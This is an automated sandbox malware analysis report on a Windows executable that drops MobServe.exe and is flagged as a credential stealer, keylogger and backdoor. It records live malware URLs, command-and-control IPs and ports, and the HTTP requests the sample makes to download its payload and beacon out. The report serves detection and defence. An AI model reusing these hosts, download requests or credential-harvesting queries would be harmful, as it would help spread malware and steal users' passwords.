Edit tour

Windows Analysis Report
T2dvU8f2xg.exe

Overview

General Information

Sample name:	T2dvU8f2xg.exe renamed because original name is a hash value
Original sample name:	aff26ef08f47b7543f4f84e5fd6d378d950f9b7d99a2397e3e56fb064db0efe2.exe
Analysis ID:	1577424
MD5:	e94178c1c416647220889ffd3bdecfb5
SHA1:	2b14a3564d79362ba2bdfce85fca4c4b595531bd
SHA256:	aff26ef08f47b7543f4f84e5fd6d378d950f9b7d99a2397e3e56fb064db0efe2
Tags:	107-148-62-100exeuser-JAMESWT_MHT
Infos:

Detection

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

AI detected suspicious sample

Contains functionality to steal Chrome passwords or cookies

Machine Learning detection for sample

PE file has nameless sections

Potentially malicious time measurement code found

Tries to harvest and steal browser information (history, passwords, etc)

Uses known network protocols on non-standard ports

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Binary contains a suspicious time stamp

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to dynamically determine API calls

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to retrieve information about pressed keystrokes

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries keyboard layouts

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

T2dvU8f2xg.exe (PID: 7116 cmdline: "C:\Users\user\Desktop\T2dvU8f2xg.exe" MD5: E94178C1C416647220889FFD3BDECFB5)

MobServe.exe (PID: 3004 cmdline: "C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe" MD5: 074ED5F745FD9A2EF6F29FD2D9AFB07A)

XWin_MobaX.exe (PID: 6480 cmdline: "C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe" -silent-dup-error -notrayicon -nolisten inet6 -hostintitle +bs -clipboard -nowgl -multiwindow -noreset :0 MD5: 6F1143FB1F02C715CBEF79C271A7E4B6)

xkbcomp_w32.exe (PID: 2168 cmdline: "C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe" -w 1 "-RC:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb" -xkm "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\xkb_a01488" -em1 "The XKEYBOARD keymap compiler (xkbcomp) reports:" -emp "> " -eml "Errors from xkbcomp are not fatal to the X server" "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\server-0.xkm" MD5: B2B22157777ED19C9F1369E2D45C1510)

conhost.exe (PID: 4540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

xkbcomp_w32.exe (PID: 2536 cmdline: "C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe" -w 1 "-RC:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb" -xkm "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\xkb_a01488" -em1 "The XKEYBOARD keymap compiler (xkbcomp) reports:" -emp "> " -eml "Errors from xkbcomp are not fatal to the X server" "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\server-0.xkm" MD5: B2B22157777ED19C9F1369E2D45C1510)

conhost.exe (PID: 1280 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MobServe.exe (PID: 3432 cmdline: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe MD5: 074ED5F745FD9A2EF6F29FD2D9AFB07A)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
T2dvU8f2xg.exe	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
T2dvU8f2xg.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
T2dvU8f2xg.exe	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x12dad85:$string1: SELECT origin_url, username_value, password_value FROM logins 0x135b09d:$string2: API call with %s database connection pointer 0x135b0ed:$string3: os_win.c:%d: (%lu) %s(%s) - %s
T2dvU8f2xg.exe	INDICATOR_EXE_Packed_Enigma	Detects executables packed with Enigma	ditekSHen	0x360:$s3: .enigma2
T2dvU8f2xg.exe	INDICATOR_EXE_Packed_Loader	Detects packed executables observed in Molerats	ditekSHen	0x13f0a32:$l1: loaderx86.dll 0x13f0a32:$l2: loaderx86 0x13f5df2:$l2: loaderx86 0x13d5b5c:$s1: ImportCall_Zw 0x13d5be0:$s1: ImportCall_Zw 0x13d63e0:$s1: ImportCall_Zw 0x13d6424:$s1: ImportCall_Zw 0x13d6468:$s1: ImportCall_Zw 0x13d64bc:$s1: ImportCall_Zw 0x13d651c:$s1: ImportCall_Zw 0x13d6564:$s1: ImportCall_Zw 0x13d65ac:$s1: ImportCall_Zw 0x13d65f0:$s1: ImportCall_Zw 0x13d6648:$s1: ImportCall_Zw 0x13db154:$s2: DllInstall 0x13db164:$s2: DllInstall 0x13d99c0:$s3: evb*.tmp 0x13db1b0:$s5: LoadLibrary failed with module
T2dvU8f2xg.exe	MALWARE_Win_EXEPWSH_DLAgent	Detects SystemBC	ditekSHen	0x4b9b14:$pwsh: powershell 0x4cedb9:$pwsh: powershell 0x546217:$pwsh: powershell 0x5462c5:$pwsh: powershell 0x546363:$pwsh: powershell 0x55548f:$pwsh: powershell 0x5554e4:$pwsh: powershell 0x5c6885:$pwsh: powershell 0x69fe1d:$pwsh: powershell 0x69fe77:$pwsh: powershell 0x69fec8:$pwsh: powershell 0x101e364:$pwsh: powershell 0x459188:$s2: User-Agent: 0x1364df9:$s2: User-Agent: 0x13efe30:$s4: LdrLoadDll 0x43972a:$v6: start 0x439e0e:$v6: start 0x44f048:$v6: start 0x44f1dc:$v6: start 0x496e36:$v6: start 0x498f3b:$v6: start
Click to see the 1 entries

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\MobServe[1].exe	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x4f63bd:$string1: SELECT origin_url, username_value, password_value FROM logins 0x74f648:$string2: API call with %s database connection pointer 0x74fa48:$string3: os_win.c:%d: (%lu) %s(%s) - %s
C:\Users\user\AppData\Local\Temp\temp_MobServe.exe	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x4f63bd:$string1: SELECT origin_url, username_value, password_value FROM logins 0x74f648:$string2: API call with %s database connection pointer 0x74fa48:$string3: os_win.c:%d: (%lu) %s(%s) - %s

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.4063276187.0000000000400000.00000002.00000001.01000000.00000003.sdmp	INDICATOR_EXE_Packed_Enigma	Detects executables packed with Enigma	ditekSHen	0x360:$s3: .enigma2
00000000.00000000.2198364908.0000000000400000.00000002.00000001.01000000.00000003.sdmp	INDICATOR_EXE_Packed_Enigma	Detects executables packed with Enigma	ditekSHen	0x360:$s3: .enigma2
Process Memory Space: T2dvU8f2xg.exe PID: 7116	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.T2dvU8f2xg.exe.400000.0.raw.unpack	INDICATOR_EXE_Packed_Enigma	Detects executables packed with Enigma	ditekSHen	0x360:$s3: .enigma2
0.0.T2dvU8f2xg.exe.400000.0.raw.unpack	INDICATOR_EXE_Packed_Enigma	Detects executables packed with Enigma	ditekSHen	0x360:$s3: .enigma2
0.2.T2dvU8f2xg.exe.10000000.8.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x2a51b8:$string1: SELECT origin_url, username_value, password_value FROM logins 0x3254d0:$string2: API call with %s database connection pointer 0x325520:$string3: os_win.c:%d: (%lu) %s(%s) - %s
0.2.T2dvU8f2xg.exe.400000.0.unpack	INDICATOR_EXE_Packed_Enigma	Detects executables packed with Enigma	ditekSHen	0x360:$s3: .enigma2
0.0.T2dvU8f2xg.exe.400000.0.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0.0.T2dvU8f2xg.exe.400000.0.unpack	INDICATOR_EXE_Packed_Enigma	Detects executables packed with Enigma	ditekSHen	0x360:$s3: .enigma2
0.0.T2dvU8f2xg.exe.400000.0.unpack	MALWARE_Win_EXEPWSH_DLAgent	Detects SystemBC	ditekSHen	0x4ba714:$pwsh: powershell 0x4cf9b9:$pwsh: powershell 0x546e17:$pwsh: powershell 0x546ec5:$pwsh: powershell 0x546f63:$pwsh: powershell 0x55608f:$pwsh: powershell 0x5560e4:$pwsh: powershell 0x5c7485:$pwsh: powershell 0x6a0a1d:$pwsh: powershell 0x6a0a77:$pwsh: powershell 0x6a0ac8:$pwsh: powershell 0x1082c14:$pwsh: powershell 0x459d88:$s2: User-Agent: 0x14546e0:$s4: LdrLoadDll 0x43a32a:$v6: start 0x43aa0e:$v6: start 0x44fc48:$v6: start 0x44fddc:$v6: start 0x497a36:$v6: start 0x499b3b:$v6: start 0x49af8f:$v6: start
12.0.MobServe.exe.7ff7e4930000.0.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x4f63bd:$string1: SELECT origin_url, username_value, password_value FROM logins 0x74f648:$string2: API call with %s database connection pointer 0x74fa48:$string3: os_win.c:%d: (%lu) %s(%s) - %s
10.2.MobServe.exe.7ff7e4930000.3.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x4f63bd:$string1: SELECT origin_url, username_value, password_value FROM logins 0x74f648:$string2: API call with %s database connection pointer 0x74fa48:$string3: os_win.c:%d: (%lu) %s(%s) - %s
10.0.MobServe.exe.7ff7e4930000.0.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x4f63bd:$string1: SELECT origin_url, username_value, password_value FROM logins 0x74f648:$string2: API call with %s database connection pointer 0x74fa48:$string3: os_win.c:%d: (%lu) %s(%s) - %s
12.2.MobServe.exe.7ff7e4930000.0.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x4f63bd:$string1: SELECT origin_url, username_value, password_value FROM logins 0x74f648:$string2: API call with %s database connection pointer 0x74fa48:$string3: os_win.c:%d: (%lu) %s(%s) - %s
Click to see the 6 entries

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T13:35:19.835138+0100	2803305	3	Unknown Traffic	192.168.2.6	49844	107.148.62.100	8084	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://ssh.0523qyfw.com/MobServe.dll7	Avira URL Cloud: Label: malware
Source: https://ssh.0523qyfw.com/MobServe.dllL	Avira URL Cloud: Label: malware
Source: https://ssh.0523qyfw.com/ata	Avira URL Cloud: Label: malware
Source: https://ssh.0523qyfw.com/MobServe.dll	Avira URL Cloud: Label: malware
Source: https://scrt1.nyazz.com/MobServe.exe	Avira URL Cloud: Label: malware
Source: https://ssh.0523qyfw.com/C	Avira URL Cloud: Label: malware
Source: https://ssh.0523qyfw.com/	Avira URL Cloud: Label: malware
Source: https://ssh.0523qyfw.com/MobServe.dllMobServe.dllTask	Avira URL Cloud: Label: malware

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 80.8% probability

Machine Learning detection for sample

Source: T2dvU8f2xg.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1004B352 CryptUnprotectData,__acrt_iob_func,	0_2_1004B352
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1008B3D0 MultiByteToWideChar,MultiByteToWideChar,GetLastError,CryptAcquireContextW,__fprintf_l,CryptGetProvParam,GetLastError,CryptReleaseContext,CryptGetProvParam,GetLastError,CryptReleaseContext,	0_2_1008B3D0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1008B6C0 CryptEnumProvidersW,CryptEnumProvidersW,CryptEnumProvidersW,GetLastError,GetLastError,	0_2_1008B6C0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_100899C0 MultiByteToWideChar,MultiByteToWideChar,CryptAcquireContextW,CryptReleaseContext,__fprintf_l,GetLastError,	0_2_100899C0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1008AE30 CryptEnumProvidersW,GetLastError,CryptEnumProvidersW,GetLastError,	0_2_1008AE30
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10273E80 BCryptGenRandom,	0_2_10273E80
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1008AFE0 CryptAcquireContextW,CryptReleaseContext,	0_2_1008AFE0

Source: T2dvU8f2xg.exe, 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_fe282540-2

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

File created: C:\Users\user\AppData\Local\Temp\Mxt242\tmp\home_user\README.txt

Jump to behavior

Source: unknown

HTTPS traffic detected: 118.107.29.172:443 -> 192.168.2.6:49728 version: TLS 1.2

Source:	Binary string: solve.pdBlocked source: T2dvU8f2xg.exe, 00000000.00000003.2232918658.00000000096CC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: corMatrix$corMatrix.compSymm corMatrix.corAR1"corMatrix.corARMA"corMatrix.corCAR1*corMatrix.corCompSymm$corMatrix.corIdent(corMatrix.corNatural(corMatrix.corSpatial&corMatrix.corStruct"corMatrix.corSymm&corMatrix.pdBlocked(corMatrix.pdCompSymm corMatrix.pdDiag"corMatrix.pdIdent source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2232627809.00000000079E5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: coef.pdBlocked source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2232627809.00000000079E5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: summary.pam"summary.pdBlocked$summary.pdCompSymm source: T2dvU8f2xg.exe, 00000000.00000003.2232918658.00000000096CC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: pdConstructpdConstruct.pdBlocked,pdConstruct.pdCompSymm$pdConstruct.pdDiag&pdConstruct.pdIdentpdConstruct.pdLogChol"pdConstruct.pdMat*pdConstruct.pdNatural$pdConstruct.pdSymm source: T2dvU8f2xg.exe, 00000000.00000003.2232918658.00000000096CC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: logDet.corIdent logDet.corStruct logDet.pdBlocked"logDet.pdCompSymm source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2232627809.00000000079E5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Names.pdBlocked source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2232627809.00000000079E5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: formula.nlsList"formula.pdBlocked source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2232627809.00000000079E5000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Code function: 4x nop then movd mm0, dword ptr [edx]

0_2_1000A4F0

Networking

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 8087
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 8084
Source: unknown	Network traffic detected: HTTP traffic on port 8084 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 8084
Source: unknown	Network traffic detected: HTTP traffic on port 8084 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 8084
Source: unknown	Network traffic detected: HTTP traffic on port 8084 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 8084
Source: unknown	Network traffic detected: HTTP traffic on port 8084 -> 49981

Source: global traffic	TCP traffic: 192.168.2.6:49727 -> 154.19.200.133:8087
Source: global traffic	TCP traffic: 192.168.2.6:49844 -> 107.148.62.100:8084

Source: global traffic	HTTP traffic detected: POST /count HTTP/1.1Host: 154.19.200.133:8087Accept: /Content-Length: 0Content-Type: application/x-www-form-urlencoded
Source: global traffic	HTTP traffic detected: GET /?a=w64&h=107.148.62.100&t=ws_&p=8084 HTTP/1.1Host: 107.148.62.100:8084Data Raw: 00 00 00 00 00 00 00 26 9a 3a b4 fd 7f 00 00 00 00 93 e4 f7 7f 00 00 02 00 00 00 fd 7f 00 00 00 00 00 00 00 00 00 00 af f2 10 b2 fd 7f 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 45 45 3e b4 fd 7f 00 00 00 00 e1 c4 8c 00 00 00 02 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 b0 33 d3 e4 f7 7f 00 00 a0 32 a7 69 d8 01 00 00 ff 9a 3a b4 fd 7f 00 00 48 a0 10 e5 f7 7f 00 00 00 00 93 e4 f7 7f 00 00 02 00 00 00 fd 7f 00 00 a0 32 a7 69 d8 01 00 00 00 00 00 00 00 00 00 00 85 03 fe 7f 00 00 00 00 15 00 00 00 00 00 00 00 d3 e6 3c b4 fd 7f 00 00 00 12 1b b1 fd 7f 00 00 b4 d9 3e b4 fd 7f 00 00 00 00 00 00 00 00 00 00 00 f0 ff c4 8c 00 00 00 00 00 00 00 00 00 00 00 6f df 3b b4 fd 7f 00 00 00 12 1b b1 fd 7f 00 00 55 79 3a b4 fd 7f 00 00 00 00 a7 69 d8 01 00 00 e8 c9 a9 69 d8 01 00 00 00 f0 ff c4 8c 00 00 00 00 12 1b b1 fd 7f 00 00 00 93 a9 69 d8 01 00 00 ad 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 c9 a9 69 d8 01 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 e0 c9 a9 69 d8 01 00 00 67 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 57 02 00 00 fd 7f 00 00 50 01 a7 69 d8 01 00 00 00 00 00 00 00 00 00 00 2d 00 00 00 00 00 00 00 ff 03 00 00 00 00 00 00 e0 c9 a9 69 d8 01 00 00 00 00 00 00 00 00 00 00 ad 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 1d 79 3a b4 fd 7f 00 00 3d 79 3a b4 fd 7f 00 00 80 00 00 00 00 00 00 00 00 03 aa 69 d8 01 00 00 ad 00 00 00 00 00 00 00 94 bb a7 69 d8 01 00 00 50 01 a7 69 d8 01 00 00 01 00 00 00 00 00 00 00 e7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 bb a7 69 d8 01 00 00 ad 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0b b9 3b b4 fd 7f 00 00 10 00 06 00 00 00 00 00 a0 03 00 00 00 00 00 00 10 e5 a7 69 d8 01 00 00 00 00 00 00 00 00 00 00 d7 02 00 d5 fd 7f 00 00 b4 b3 a7 69 d8 01 00 00 00 00 00 00 00 00 00 00 d7 02 00 d5 d8 01 00 00 00 00 00 00 00 00 00 00 02 00 00 02 d8 01 00 00 c4 02 d8 69 d8 01 00 00 68 4b 40 b4 fd 7f 00 00 90 00 00 00 00 00 00 00 d7 02 00 d5 d8 01 00 00 00 00 00 00 00 00 00 00 d7 02 00 d5 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 02 00 00 00 00 88 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 a7 69 d8 01 00 00 f9 f6 1f c6 8c 00 00 00 08 00 30 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 03 00 00 00 00 00 00 90 03 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 a7 69 d8 01 00 00 3a 00 00 00 00 00 00 00 4d b4 3b b4 fd 7f 00 00 00 00 a7 69 d8 01 00 00 0a 00 30 00 00 00 00 00 90 03 00 00 00 00 00 00 64 43 3e b4 fd 7f 00 00 00 05 a7 69 d8 01 00 00 b4 f6 1f c6 8c 00 00 00 00 00 00 00 03 00 00 00 ee 44 3e b4 fd 7f 00 00 20 2b 3e b4 fd 7f 00 00 50 0b a7 69 d8 01 00 00 00 33 aa 69 d8 01 00 00 a6 ff 3a b4 fd 7f 00 00 00 33 aa 69 d8 01 00 00 69 04 e5 2b ff 44 00 00 Data Ascii: &:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 107.148.62.100:8084Upgrade: websocketConnection: UpgradeSec-WebSocket-Version: 13Sec-WebSocket-Key: YZmaWYFLFkkxnSe9G1KL+w==
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 107.148.62.100:8084Upgrade: websocketConnection: UpgradeSec-WebSocket-Version: 13Sec-WebSocket-Key: k9momah9+dgWSbK2PyPqdg==
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 107.148.62.100:8084Upgrade: websocketConnection: UpgradeSec-WebSocket-Version: 13Sec-WebSocket-Key: y7FDFWpXfMu14TOa4bn1dg==

Source: Joe Sandbox View	IP Address: 107.148.62.100 107.148.62.100
Source: Joe Sandbox View	IP Address: 107.148.51.200 107.148.51.200
Source: Joe Sandbox View	IP Address: 118.107.29.172 118.107.29.172

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49844 -> 107.148.62.100:8084

Source: unknown	TCP traffic detected without corresponding DNS query: 154.19.200.133
Source: unknown	TCP traffic detected without corresponding DNS query: 154.19.200.133
Source: unknown	TCP traffic detected without corresponding DNS query: 154.19.200.133
Source: unknown	TCP traffic detected without corresponding DNS query: 154.19.200.133
Source: unknown	TCP traffic detected without corresponding DNS query: 154.19.200.133
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Code function: 0_2_1004BB4E GetTempPathW,GetLastError,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@K@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,InternetOpenW,GetLastError,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@K@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,InternetOpenUrlW,GetLastError,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@K@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,InternetCloseHandle,CreateFileW,GetLastError,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@K@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,InternetCloseHandle,InternetCloseHandle,InternetReadFile,WriteFile,CloseHandle,InternetCloseHandle,InternetCloseHandle,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CreateDirectoryW,GetLastError,GetLastError,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@K@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,SetFileAttributesW,MoveFileExW,GetLastError,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@K@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,

0_2_1004BB4E

Source: global traffic	HTTP traffic detected: GET /MobServe.exe HTTP/1.1User-Agent: DownloaderHost: scrt1.nyazz.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /wmob HTTP/1.1Host: www.61xdm.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
